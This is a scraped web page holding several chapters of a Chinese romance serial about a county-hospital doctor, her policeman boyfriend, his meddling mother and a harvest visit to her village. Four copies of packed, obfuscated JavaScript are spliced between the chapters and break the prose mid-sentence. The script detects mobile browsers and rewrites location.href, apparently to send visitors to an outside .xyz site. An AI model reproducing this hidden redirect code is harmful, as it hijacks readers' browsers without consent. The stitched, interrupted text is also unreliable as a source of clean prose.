;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862318|176096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打量着对面,心中暗暗点评,没他高没他帅,肯定也没他优秀,他瞬时笑起来,伸出手道:“你好,我是崔承安,你叫我承安就行。” 廖清在他过来的第一秒就认出他是谁了,他是上次和何维淑在食堂一起吃饭的那个男人,他瞥了眼他的手没搭理,笑着问何维淑:“何医生,这是?” 崔承安眉尾扬了下。 何维淑看着崔承安收回来的手,不自觉就对廖清产生了点不满,平静道:“他是我男朋友,廖医生,我们还有事,就先走了。” 廖清看着他俩亲密无间的背影,紧了紧拳头,都是男人,谁还不知道谁,他刚才分明看到了那男人眼中的得意与挑衅。 不论廖清如何想,反正崔承安是满意无比,揽着何维淑,站在她西侧,欢天喜地地给她挡太阳,“我们待会儿去吃饺子吧?我想吃饺子了,不过说起饺子,我感觉我妈包的最好吃,等下次我妈再包饺子,我给你带一份尝尝。” 何维淑抬头去看他,被人下了面子还笑得这么乐呵,也是没谁了,她有些无奈道:“那就吃饺子吧,正好东门门口有一家饺子馆。” “好。” 五点多的太阳依然嚣张,即使朝着背着它朝东面走,也能感受到那股热浪。 两人出了东门,崔承安看到小商店门口的冰柜说:“你先进饺子馆,我看那有卖冰棍的,我去买两根过来,你要什么口味的?” “奶油的。” “好。”崔承安答应,朝着小商店过去,向上掀开冰柜盖,弯腰在里面翻翻找找。 何维淑看了两眼后,进饺子馆要了两份白菜猪肉馅的饺子,一大份一小份,又点了两份凉菜。 等她点好菜后,崔承安拎着透明塑料袋进来了,手里还拿着两瓶汽水,“橘子汽水,冰的。” 玻璃瓶的橘子汽水,喝完后把瓶子还给老板,老板会再退五分钱。 崔承安坐下,将插了塑料吸管的汽水递给何维淑,瓶身上还带着水汽。 何维淑接过喝了一口,冰冰凉凉的,压下了点天气带来的燥热,“我不知道你吃什么,就要的白菜猪肉馅的。” “没事,什么馅都行,我不挑食。”崔承安笑起来,拿起冰棍,撕开包装袋,咬了一口,一口下去,冰棍直接少了一半。 “别一下子吃这么多冰的,待会儿吃饺子,一冷一热,容易刺激到肠胃。” 崔承安眨了下眼,放缓动作,咬下去的那口冰棍在嘴里鼓捣来鼓捣去,嘴巴闭着,就看到两边脸颊处一会儿撑起来一会儿瘪下去,看得何维淑忍不住想笑,“行了,你快咽下去吧,这样嘴里不冰啊?” 崔承安得了令,连忙咽下去,咽下去后又耍宝似的捧着脸说:“感觉口腔里都没有知觉了,冰冰的,何医生要不要帮我看看?” 何维淑嘴角噙着笑,耳朵尖有点发烫,昂头斜睨了他一眼,没搭腔。 饺子下得快,老板娘端着两盘饺子过来:“这是大份,这是小份,还有两盘凉菜,我现在给你们调,马上就上。” 11. 牛奶刨冰 两个人吃完饺子,崔承安起身要去付钱,被何维淑拦住道:“我给过了。” 崔承安愣愣眨了下眼,走前拿起桌子上的汽水,三两口喝完,道:“下次还是等我付,哪儿能让女孩子花钱。” “就是一顿饭钱,谁付不都一样。”何维淑没当回事,随口回应。 崔承安笑嘻嘻地凑过来,凑到她耳边,故作高深道:“那可不一样,追女孩子不舍得花钱,还想有女朋友,哪有那么好的事。” 何维淑被他逗乐,站定看着他,表情格外认真:“那照你这么说,我们就还不算男女朋友,我应该多给你花钱的机会才对。” 崔承安脸上的笑瞬间僵住,眼睛睁得圆溜溜的,一颗心也七上八下,咽了咽口水试探说:“你刚才还跟廖医生介绍我你是男朋友……”声音越说越小,渐渐底气不足。 何维淑好像也觉得这是件麻烦事,手指摩梭了下光秃秃的下巴,做思索状说:“你说的对。” 崔承安听这话,气刚舒一半就又听她道:“没关系,大家都是同事,等下次碰见,我再跟他解释,说你还在追求中。” 崔承安一口气噎得上不上下不下,心也惴惴不安,嘴唇抿得紧紧的,连喘气都放慢了速度,不敢相信地追问:“你肯定是在逗我玩的吧?对不对?你都答应做我女朋友了,不能反悔的。”语气中不自觉就染了点委屈,眼尾也耷拉着,一副可怜相。 何维淑看得嘴角不自觉抽抽,莽着头往前走,生怕慢了一步就在他面前笑出声。 崔承安跟在后头追,两条腿那么长,明明两步就能赶上去,偏偏就在人身后迈着小碎步,还一边追一边磨着人:“你肯定是在开玩笑,咱都谈了这么多天的恋爱了,怎么能说没谈就没谈呢。” 说完见人不搭理他,也有些底气不足,心里暗骂自己,早知道刚才就不嘴贱了,又像是认命一般,长叹一口气说:“好吧,那我就重新追求你,你肯定还会答应我的吧?” 何维淑听着身后喋喋不休的声音,一句连着一句,像小狗磨人,终于是憋不住笑出声。 崔承安听到这声笑,什么都反应过来了,长腿一迈,整个人都跨到她前面去,脸上重又挂起笑:“我就知道你是在逗我玩。” 何维淑瞥他一眼,将手里的空汽水瓶塞进他怀里:“还傻笑,赶紧把瓶子还回去,这样子拿着不累啊。” 崔承安刚想嘴硬说不累,顶着她的眼神,终又把话给咽了回去,被逗一回就够心惊胆战的了,他可经不起第二回。 何维淑在马路边上等他,看他把汽水瓶还给老板,又从老板手里接过硬币,过程中还时不时就要回头看一眼,眼里充满了不放心,好像她会趁机溜走一样,她意识到这点,又是无语的一声笑,笑完又觉得心底有些甜蜜。 崔承安还好后,赶紧跑回来,手向前一伸,精准牵住她的,问:“录像厅又进了新的港片,你想不想去看?” 何维淑摇摇头:“等休息的时候再去吧,我晚上想回去看书。” 崔承安知道她要考研,就没再多劝,只说:“那我送你回去。” “嗯。” 两人来到宿舍楼下,崔承安依依不舍地看着她的背影,心里一股子酸胀感,摇摇头,也准备回警局,把白天没干完的事情都处理掉,女朋友这么上进,他也不能太落后了。 他骑着摩托车出医院,傍晚人多,他骑得速度也就慢,车子向前,路过一个店面,门口排了长队,他好奇看了一眼,是一家新开的刨冰店。 这几年港台剧很受人喜欢,剧里角色吃的刨冰也引起了部分人的好奇,就连他们这个北方的小县城也跟风开了两家刨冰店。 崔承安扭头多看了两眼这家刨冰店,想了想还是将摩托车停在路边,也跑到那边排起了队。 他付了钱,接过一份放在塑料碗里的牛奶刨冰,打包好后放在塑料袋里拎着。 塑料袋挂在车把手上,崔承安骑上摩托车掉头,又往着医院的方向过去。 等再次到了宿舍楼下,他一手拎着袋子,一手在地上捡了随成小块的石子儿,走到何维淑的窗户下,仰头朝上看,石子儿从手中抛出,十分准确地砸在窗框上,力度不大,但足以引起室内人的注意。 何维淑正坐在桌前专心致志地看书,被突如其来的声响打乱思绪,茫然抬头朝外看了看,没发现什么异样,只以为是哪只路过的飞鸟不小心撞到了墙上,弄出了动静,便不再管这些,摇了摇头重新低头看书。 崔承安正在楼下等着人从窗户口探头出来呢,等了半天没见什么动静,想着她可能没听见,就又从地上捡了块小石子儿,重复了一遍刚才的动作。 何维淑又被吵到一次,这下确定是有人在打她窗框,起身探头朝楼下看,想看是谁家的调皮孩子玩弹弓,没想看见的却是没分开多久的男朋友。 她有些不解地挑眉,刚想开口问,就见崔承安扬着大大的笑脸招手喊她:“快下来!” 何维淑下楼,声音没来得及出口,眼前就被晃过一个显眼的塑料袋,她看过去问:“这是什么?” “我刚才路过一家刨冰店,看好多人排队,想着味道应该不错,就买了一份,正好你晚上要看书,一边吃一边学能凉快点。”崔承安把塑料袋挂在她手指上,“楼下蚊子多,你赶紧上去吧。” 何维淑稀里糊涂下来一趟,没说几句话,就又稀里糊涂地被推了上去,等站在房间的木门前,才反应过来笑出声,她将钥匙插进锁孔转动,打开门进去,将刨冰放在桌子上,想起什么似的,连忙探身从窗户往外望,楼下崔承安坐在摩托车上还没走,见她望过来,笑了笑,用手指了指路,又指了指窗户,示意自己现在回去了,让她安心学习。 何维淑点头,又摆了摆手。 等连人带车都被旁边的大楼挡住,眼睛看不到后,何维淑才坐下,小心翼翼地将塑料碗从袋子里拿出来,里面的刨冰外层化了一点,奶白色的水溜在碗边的缝隙处,她笑起来,舀了一勺冰凉的水喝,甜甜的,带着一点牛奶味。 天色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862319|176096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓缓沉下来,夜风沙沙地吹着繁茂的树叶,给屋里人送来一丝清凉,也送来一股暖香。 不知道谁家的电视机,声音开得很响,模糊的台词声隔着墙壁、玻璃传过来,听不真切,但却莫名地让人觉得安心热闹。 ***** 董芳苓听了大女儿的主意,第二天中午特意早下班,赶回家里,炒了好几道菜又煲了汤,一一盛进饭盒里。 崔建同进屋时,正好瞧见妻子拎着饭盒往外走,他看着她手里的东西问:“你这是?” 董芳苓一边换鞋一边道:“我去给虫虫送午饭,给你留的饭菜在厨房,你自己弄着吃,吃完别忘了把碗也洗了。” “他食堂不是有吃的吗,怎么还要你去送?” 回应他的是董芳苓女士的背影。 “……” 董芳苓到警局时,正好赶上他们的下班点,她来过几次,警局的人差不多也认识她,看到她手里的饭盒,了然道:“阿姨,给崔队送饭啊?我刚才瞧他往食堂去了。” 董芳苓笑着点头,“哎,那我过去找他。”又客气道,“吃了吗?要不一块儿吃点儿吧?” “不用不用,我们现在也去食堂吃。” 董芳苓跟在几人旁边进食堂,就看见崔承安和李卫东正有说有笑地排着队,她眼神一亮,轻轻喊了声:“承安!”她可记得他说的不让她在外人面前叫他小名的事儿。 崔承安听声音看过去,在看到她前还以为是自己幻听了,等真看到人,诧异地过去问:“妈?你怎么来了?” “我来给你送饭。” 还没等崔承安受宠若惊,董芳苓又看向李卫东,说:“卫东,我也带了你的份,你跟承安一块儿吃吧。” 李卫东眨巴眨巴眼,看向崔承安,也有些摸不着头脑,连忙“哎呦哎呦”地道谢,“真是麻烦阿姨了。”又赶忙帮着把叠着饭盒一一铺在桌面上,笑着夸道,“阿姨这手艺看起来可比我们食堂的好太多了。” 董芳苓也笑:“那你待会儿尝尝看合不合你胃口,要是喜欢吃,可得多吃点,你们这工作又费脑子又费体力,不吃好可不行。” 三个人坐下,崔承安刚扒了两口饭,董芳苓就道:“承安,我记得你之前跟我说,你们警局旁边的馄饨特别好吃。” “是啊,怎么了?” 董芳苓笑笑:“我也还没吃饭呢,你去给我买碗馄饨吧?” “你没吃饭?”崔承安抬头看她,一脸的惊讶,“你不是来给我送饭的吗?” 董芳苓也有点心虚,但又理直气壮道:“那不是你一直说你们这边的馄饨好吃吗?我今天突然就想尝尝不行啊?” “行,怎么不行。”崔承安认命地又忙扒了两口饭,才起身准备出去,这个时间点吃饭的人最多,到那估计得排好久的队,“那你还吃别的吗?” “啰嗦那么多干嘛,你看着买就是。”董芳苓说完就笑眯眯地盯着李卫东瞧。 崔承安:…… 李卫东:? 12. 白面馒头 等儿子出去后,董芳苓摸了摸手腕上的镯子,朝李卫东又坐近了点,脸上笑盈盈的,亲切问:“卫东啊,阿姨想跟你打听一件事儿,就是不知道你放不方便。” 李卫东听到这话,后脑勺一紧,心说来了来了,终于来了,他眼珠子滴溜溜转了下,忙答应下来,拍着胸脯说:“阿姨,您尽管说,只要是我知道的,知无不言言无不尽!” “哎,阿姨就知道没看错人。”董芳苓瞬时笑出来,没急着直奔主题,而是又拉了拉关系,“我听承安跟我说,你喜欢吃饺子,等着周末你们休息,让承安带你来家玩,阿姨给你们包饺子吃。” “行,那到时候就辛苦阿姨了。” “今天这排骨汤味道也很好,我特意去菜市场买的鲜排骨煲的汤,来多喝点。”董芳苓边说边给他盛了一碗,等人喝了一口后才道,“卫东,是这样,我这不是前几天刚知道承安谈恋爱了吗?我这当妈的激动得不行,但承安那小子你也是知道的,估计是觉得还没稳定,就不想跟我说那么细。可这不是他第一次谈嘛,以前家里变着法催他的时候,不是当没听见就是耷拉着脸,所以阿姨实在是好奇,就想来跟你打听打听。” “当然,阿姨知道你俩是好兄弟,有些事他肯定不愿意让你告诉我,所以阿姨也不为难你,你就把好说的能说的跟阿姨说说,权当是满足一下阿姨的好奇心,行不行?” 说完她眼巴巴地看着他,话里话外又都是善解人意,弄得吃人嘴软的李卫东也不好拒绝,主要也没什么好拒绝的,又不是工作上的机密,而且崔承安也没跟他说不能说。 李卫东笑起来:“嗐,这事儿啊,这事要换了别人还真不清楚,但我还真凑巧了解一点。这说来也巧,我还算是他俩的媒人呢……” 他把来龙去脉说了个清楚,等眼角余光瞥到一抹身影,脑中松下的弦突然又绷紧,猛然意识到不对,好像说得有点多,于是他语速加快匆匆总结道:“阿姨,我看着这事儿您就别担心了,我估摸着,这小子高中时就对人家姑娘有好感。那什么,阿姨,我工作上还有点事儿,今天中午谢谢您的款待,我就先回去了。”旋即溜之大吉,甚至没敢从大门走,而是躲着好兄弟从小门回了办公室。 董芳苓笑着点头,人走后才板下脸,等崔承安拎着买来的馄饨放到她面前时,她已经脸色铁青,觉得儿子这事做得实在是没规矩,人家相着亲,他横插一脚,像怎么回事!这以后两人要真结了婚,被外人听到他俩以前还发生过这故事,不知道背地里要怎么议论,想到这,她心里又不由自主地补刀,不过看那姑娘,他俩能不能走到结婚那一步还两说呢。 又头疼儿子一向死心眼,认准的事就不放手,她是看不上那姑娘的家境,就怕他头脑发热,硬是要跟人家好,这婚姻大事可不是儿戏,娶这么一个姑娘回来,对他可算不上什么好事,于事业上没有什么助力,说不定还会成为别人的笑柄。 她没好气地剜了崔承安一眼,都怪他做事不讲究! 崔承安被瞪的没头没脑的,左右看了看问:“卫东呢?” “他吃完了,先回去了。” “哦。”崔承安没多想,把一次性筷子递给董芳苓,“你的馄饨。”说着就拿起自己的筷子想继续扒饭,排这么久,肚子早饿得叽叽咕咕的了。 他筷子刚精准的夹到一块排骨,就见对面人站起来,双手麻利地将眼前的饭盒一一盖上,再装到拿来的袋子里,“吃吃吃,吃什么吃。”说着就要把东西都拎走。 崔承安目瞪口呆地看着她背影,还没反应过来怎么回事儿呢,就见董女士又拐回来把他手里的筷子一并抽走,接着头也不回地出了食堂大门。 “不是?”崔承安不可置信地看来看去,桌子上空空荡荡,连一片菜叶子都没留,而这时候食堂窗口前已经没了人,他连忙起身过去,打饭阿姨正要端着还剩点菜汤的大铁盘进后厨。 董芳苓才不管他,就凭他那做的没规章的这些事,饿一顿也是活该。 ***** 这个休息日,何维淑和崔承安到底没去录像厅看新片子,因为家里开始割麦子了,何维淑跟刘主任调休,连着周六周日两天不用上班,想着周五晚上早点下班回去帮家里收麦子。 崔承安听她这么一说,当下就道:“我跟你一起吧,我一把子力气,干活儿肯定比你有劲,而且多一个人你们也能轻松些。” “那可不一定。”何维淑走在前面边走边笑,“你从小在县城里长大,你哪会割麦?而且收麦子很累的,这几天又这么热,还要在地里一直弯着腰挥镰刀,都不用一天,一个小时下来,你就受不了了。” 崔承安听她说完,知道这就是她从小到大的日常,她才二十四岁,可能就已经帮家里收了二十年的麦子,从三四岁会跑会跳开始,就在农忙时跟在家里大人屁股后面,到田里面干些力所能及的活计。 他眼睛里染上些心疼,认真说:“何维淑同志,你不要小瞧人好吧,虽然我没有收过麦子,但我也是见过的,而且我可是立过功受过表彰的,怎么可能会怕这一点点点点苦。”他大拇指掐在小拇指指尖上,比在何维淑面前。 何维淑没忍住笑,哄道:“好的,我小看你了,是我不对。” 听她认错,崔承安又扭捏起来:“那你倒也没有不对,只是你还不清楚我的实力,你放心,我跟你一块儿回去,肯定不会拖你后腿的。” “你这周末不用加班?” 崔承安摇头:“我跟队长说一声就行。” 何维淑想了想,点头答应让他去,县城里的习惯她不怎么清楚,但在农村,男人想讨老婆,是得到老丈人家收两茬子麦表现一番的。 正好她也想让妈妈见见崔承安,起码让她心里大致清楚他是个怎么样的人,要不然她肯定要担心她的。 答应了崔承安一块儿回去后,何维淑周五下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862320|176096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就没那么急着下班了,因为崔承安有摩托车,她不用赶车。 两人骑着摩托车回去,一出县城地界儿,就能看到一大片一大片的金黄麦田,麦穗微微下垂,农田里已经有不少人弯着腰劳作,大的小的老的少的齐上阵,在无边的农田里,像蚂蚁一样一点点往前走,割下来的麦子一小堆一小堆的放在身边,拿着木叉子的劳力再把麦堆盛起来移到停在田垄的板车上。 空气里飘浮的都是作物的气味,这味道何维淑闻了二十几年,再熟悉不过,每次闻到时都觉得满足心安,因为小时候每年收完麦子后都能吃一顿纯白面馒头。 白面是很珍贵的细粮,对于她这种较为贫困的家庭来说,平日里是不舍得只吃白面的,往往都是掺杂着玉米面或红薯面一起吃,而白面蒸出来的馒头不同于杂面的粗糙,十分煊软,咬上一口只觉唇齿留香,越嚼越甜,一口要嚼上很多下才会舍得咽。 今年风调雨顺,没有干旱水涝,想来田里的收成应该会不错。 崔承安在前面骑,何维淑给他指路,“过了前面的西大桥,就快到我家了。”说着,她看向西大桥,眼底闪过一丝复杂情绪。 “好。” 农村里摩托车还不太常见,大家普遍还是骑洋车子的多,猛然看到一辆轰鸣的摩托车,都有些稀奇地瞧着它往谁家去。 有眼尖的认出来后面坐的人,连忙道:“那不是桂英家的闺女吗?这是给桂英带女婿回来了?” “刚刚我还瞅桂英在西地里忙活呢,我去喊她去。” “我跟你一块儿去,我也凑凑热闹。” 何维淑领着崔承安骑到家门口的时候,杨桂英也被人从地里喊回来了,头上还包着毛巾,袖口利落地挽着,手上鞋上都是土,她知道闺女带人回来,打量打量自己这一身,没好意思直接回家,笑道:“她大娘,我先到你家洗洗吧?这妮子,我都跟她说别回来,地里这点活儿我一个人就干完了,我还以为她答应了,结果这不声不响地又回来了,这不是耽误上班吗?” 嘴上嫌弃,脸上的笑却是没下来过。 她大娘咋能听不出来她话里的得意,也不戳穿她,只笑着打了桶井水上来,用瓢舀着往她手上倒:“那不是维淑心疼你吗,怕你累着,大老远的也想着回来帮帮你。”说着她感慨一声,“嫂子,你是熬出头了,往后就都是好日子了。” 可不是熬出头了吗?从杨桂英死了男人后,就一个人在村里拉扯着闺女,寡妇的日子不好过,在这农村,有个儿子还好一点,偏她还就这一个闺女,闺女也就算了,长到十六七岁找个人嫁了,日子也能好过点,偏她还非要供闺女上学,中专还看不上,非得让闺女考大学,不知道吃了多少年的苦,不知道背地里被多少人嘲笑心气儿高。 现在是真真的苦尽甘来了,自从她闺女在县医院上班,村里谁有个病啊痛的不找她关系?现在是谁家菜地里收了啥都能想着给她家送一把去。 13. 炒鸡 这时杨桂英还没回来到,何维淑熟练地从墙缝摸出钥匙把院门打开,让崔承安把摩托车骑进去,又把他买的东西放到屋里。 何维淑家就是农村最普通的土胚房,三间横排土胚房,另支出来一间厨房,茅厕垒在外面,屋子前面就是一大片院子,农村地广,各家院子都不小,院子两边划出菜地,成片种着瓜果蔬菜,基本能做到自给自足,甚至还有余的拿到集市上卖。 杨桂英向来爱收拾,就算是土胚房,家里家外也都被她打扫得干干净净,屋里的地面整洁得没有一点垃圾,看着亮亮堂堂的。 何维淑往菜地里瞅了眼,扎的番茄架上有几颗已经红透了,她进厨房拿了个小盆,到菜地里把那几颗番茄都摘下来放盆里,又去厨房缸里舀了瓢水,洗干净后递给崔承安一颗,“你尝尝,我妈种的,又沙又甜。” “好。”崔承安接过来咬下去一口,汁水不知道从什么地方迸射出来,红红的番茄汁直喷在他纯白的衬衫上,他看眼脏污的印子,手忙脚乱地去擦,脸颊瞬间涨红。 何维淑看着他手足无措的样子,十分不留情面地笑起来,见他用手揉擦污渍,不仅没弄干净,反而把红印子越搓越大,她看不下去笑道:“你这个得用肥皂洗,我去给你拿。” 崔承安点着头,边跟在她屁股后面,边将剩下的番茄几口吃完。 因为要在这边过两天,所以他带了换洗衣服来,他从包里拿了件干净的短袖去屋里换,一进屋就看到满墙的金黄色奖状,墙壁的正中间用相框框着一张大学录取通知书,玻璃被擦得一尘不染,显得锃亮。 耀眼的金黄夺取每一个进屋人的视线,他不由驻足看去,奖状上清一色地写着“何维淑”三字,从小学一年级,到大学五年级,一张不漏,都是她取得的优异成绩。 其实若论优秀,崔承安的姐姐哥哥也是从小到大的别人家孩子,甚至崔永安还是高考状元,奖状在他们家是很常见的东西,只是他俩在得了奖状后都是收回自己房间,而不是贴在哪一面墙上,这就导致一整面被奖状装饰的墙壁给他带来了莫大的震撼,再加上这是何维淑获得的荣誉,他不免更在意几分。 不过现在不是欣赏奖状的好时间,他匆匆换好衣服,将脏衣服团吧团吧握在手里,脸颊浮着一丝羞赧。 何维淑已经帮他接好水,又把肥皂放在盆边。 崔承安快步过去,将衣服浸水里,大力揉搓污渍,洗好后拧干水搭在晾衣绳上,天气热,稍微晾两个小时就能干得差不多。 这时候杨桂英跟她几个想凑热闹的好姐妹一块儿回来,一进门眼睛就放在小伙子身上,目光里是毫不顾忌地打量。 何维淑一看到她们就熟练地“大娘婶子”的叫人,崔承安略有些拘谨地跟着一起喊。 几个大娘婶子笑眯眯的,瞅着崔承安私声窃语,还边说边点头,就算崔承安听不清她们说的啥,但光从表情上也知道她们在聊自己,一时耳朵更红,悄悄挺直了背。 几人寒暄一番,大娘婶子们客套地夸了崔承安几句“个子高长得俊,这么年轻就是公安,真有本事”之类的话后,就识趣的结伴回家。 院子里就剩了他们三人,杨桂英面上含笑说:“承安渴不渴?我给你倒水喝,晌午晾的开水,现在喝着正好。” “阿姨我来。”崔承安忙抢先一步伸手拎过茶瓶,倒了三杯水出来,笑话,他过来就是要给长辈留个好印象的,哪能让长辈给自己倒水。 杨桂英端起水,脸上笑意更深了些,道:“这妮子也没跟我说你们今天回来,我也没提前割肉,不过我养的有鸡,咱晚上杀鸡吃。” 这农村养的鸡鸭平时都是不舍得吃的,要么留着下蛋,要么留着卖钱,再要么就是等家里来客人的时候宰一只待客。 崔承安忙推辞道:“不用不用,您平常吃什么我就吃什么,我不挑食的。” “那哪儿行,你这第一次来,桌上起码得有个肉菜才行。”杨桂英笑起来,说着就朝鸡笼过去,手疾眼快地逮了一只鸡,揪着翅膀出来,肥嘟嘟的鸡用力扑腾着,尖尖的嘴“咕咕”叫,“这鸡你们想咋吃,是炒着吃还是炖着吃?” 崔承安看向何维淑,何维淑道:“炒着吃吧,再在锅边贴一圈死面饼就着吃。” “哎。”闺女想这样吃,杨桂英自然不会拒绝,“你离远点儿,我杀鸡别吓着你。” “妈,你还当我是小时候呢,我现在都当医生了,怎么可能还害怕。”何维淑的笑中带着点撒娇的意味。 “那你也离远点,血别溅你身上。”杨桂英做事干脆利落,拿了菜刀,一刀就给鸡放血,又把碗放在鸡脖子边上接着。 随后她转身进厨房,得烧一锅开水,待会儿好给鸡拔毛。 崔承安十分有眼力见地跟上去:“阿姨,我帮你烧锅吧。”他小时候回爷爷奶奶家时烧过锅。 水烧上,杨桂英就从面桶里舀了两勺面,加了点水就开始和面,何维淑也挤在厨房里看有没有什么自己能做的事,杨桂英看她一眼,带点嫌弃意味道:“厨房太小了,挤不下这么多人,你去菜地里摘点菜回来。” “哦。” 等人出去,杨桂英余光斜了眼崔承安,不经意地问道:“承安,我听维淑说,你跟她高中一个班的是吧?” 崔承安立马抬头,乖乖回道:“对的阿姨。” “那你跟维淑应该差不多大吧?” “我比维淑大俩月。” “哦,那也二十四了。我也不知道你们县城里是啥样的,我们农村结婚都挺早的,像你这么大的孩子都好几岁了,你家里之前也不着急吗?” 崔承安神经瞬间紧绷,忙说:“我家也着急,但我想着先立业再成家,之前就没把心思往这上面放,家里的相亲什么的都被我推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862321|176096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,所以就没谈过朋友。”这句话前面都不重要,重点就是最后一句。 果然杨桂英脸上笑容又深几分,继续道:“维淑也是,喜欢她的倒不少,但她是书念多了,有点书呆子,对自己也不上心,这才单着了。” 崔承安也顺着道:“是,上学那会儿,维淑成绩就是我们班最好的,老师都经常夸她。” “她从小上学就厉害,年年都是第一。”这话说到杨桂英心坎儿里了,她起身又往面里加了点水,“也就是因为她上学厉害,我就一直让她上,从来没让她进过厨房,我们村里人都爱说姑娘家不学做饭,以后嫁了人是要被男人打,被老婆子骂的,但我就是不教她做饭,我宁愿她一辈子不嫁人,一辈子买着吃,我都不想让她以后伺候人,那村里有人就看不惯,背后嘀嘀咕咕的,没让我听见就算,要让我听见,我就要跟他们对着骂,我也不管别人怎么看,但我就觉得我闺女的手就应该是拿笔杆子,而不是握菜刀的,我闺女有大出息,天天守在厨房这一亩三分地算什么本事?” 崔承安知道她这番话目的是敲打自己,他点头如捣蒜,忙表示自己的态度:“维淑一直很优秀,不应该困在厨房,我以后肯定对她好,绝对不会让她吃苦受累的。” 杨桂英瞥他一眼,脸上有些似笑非笑,继续道:“你们要是能走下去呢,日子都是你们俩自己过的,你的这些保证跟我说也没什么用,我也不说你以后一定做不到,但是有一点,别觉得她娘家人少,也没个老子兄弟给她撑腰,但也是有人的,她以后要是受了委屈,我肯定不依,管你是公安还是天王老子,豁出命我都不怕。而且我闺□□秀,她本来是能留在省城的,是担心我才回的县里,所以离了谁她都能活得好好的。”第一次见面就说这种话,是有些严重了,但女孩比男孩吃亏,她怕自己闺女会受委屈,少不得就要说一说自己的想法。 崔承安很能理解她的心思,脸上没有一点不悦,表衷心道:“阿姨您放心,我肯定不会让维淑受委屈的。” 恰好这时何维淑挎着菜篮子进来,看着他俩的神色有些莫名问:“你俩聊什么呢?表情这么郑重。” 杨桂英和崔承安相视一眼,自然而然跳过刚才的话题,她笑起来,道:“我刚才问承安吃不吃辣,待会儿炒鸡里要不要放点辣椒。” 何维淑把菜放盆里,问:“那你能吃辣吗?” 崔承安又添了两把柴:“只要不太辣,都能吃。” “那放点吧,带点辣有味。” 杨桂英自然无有不应的,这时候菜地里种的辣椒还没成熟,她指了指挂在墙上的小篮子说:“那里面有我晒的干辣椒,你拿点出来。” 何维淑走过去把篮子拿下来,看着里面通红的辣椒问:“拿几颗?” “稍微拿个四五颗就行,这辣椒辣,不能放多,放多了怕你们吃不了。” “行。” 14. 下地 吃完饭,天黑下来,何维淑问:“妈,咱家还有多少地没收?” “还有三亩,总共就四亩来地,我今天就收掉一亩,都跟你说不用回来,你还回来。”杨桂英边洗碗边啰嗦她。 何维淑只当没听见,继续问:“那晚上是不是得去地里守着?” “对,咱家今年跟你二娘家共用一个麦场,她家在麦场守着的时候也帮咱一块儿看着,咱只要去地里看着就行,我待会儿就带着大黄过去。” 一般收完的麦子会堆放在麦场上,麦场就是找一块空地用石磙碾压夯实平整,后续麦子的摊晒、打麦、扬场就都在这进行。 这时候农村有地的都得交公粮,就是自己家里不吃,也得把公粮交上,还得捡好的交,不好的想交都交不上去。 收成好,一亩地能有个二百来斤,公粮得交三分之一到二分之一,各家剩下的也就不多,有那不要脸的人家真能干出偷别人家麦子的事,大晚上不去看着,被偷了都找不着是谁,后续没粮交公粮,去花钱买也得补上。 所以在农村,粮食、田地是极为重要的,就算一个村里都沾点亲带点故,也没少因为地里的事儿吵架,每次不是你多用了我的水,就是我多占了你的地,因为这类事每每都吵得不可开胶,而吵架就讲究一个人多势众,哪怕没理也能壮三分,杨桂英在这事上就没少受气。 崔承安一听还要去地里看着,忙自荐道:“我去吧,我受过不少野外训练,也比较警觉,肯定能守好麦子,不让人来偷。” 要说晚上在地里守着,的确是男人比较占优势,大男人不怕被骚扰,体力上也要强一点,真碰上小偷,吼两嗓子能把人吓破胆。 但崔承安毕竟还算是客,杨桂英就没答应:“你们今天才回来,晚上还是我去守着吧,你晚上好好睡一觉,阿姨还等着你明天帮我割地哩。” 崔承安还想再说,杨桂英道:“你要是真想看着,明天晚上再让你去。” 话说到这,崔承安再继续说,只好听话答应下来。 何维淑:“那妈,我现在给你烧水,你洗完澡再去,正好我跟他先把床、被子啥的搬过去。” “行。” 水烧好,杨桂英在屋里擦洗,崔承安搬着小床跟在何维淑后面往地里走。 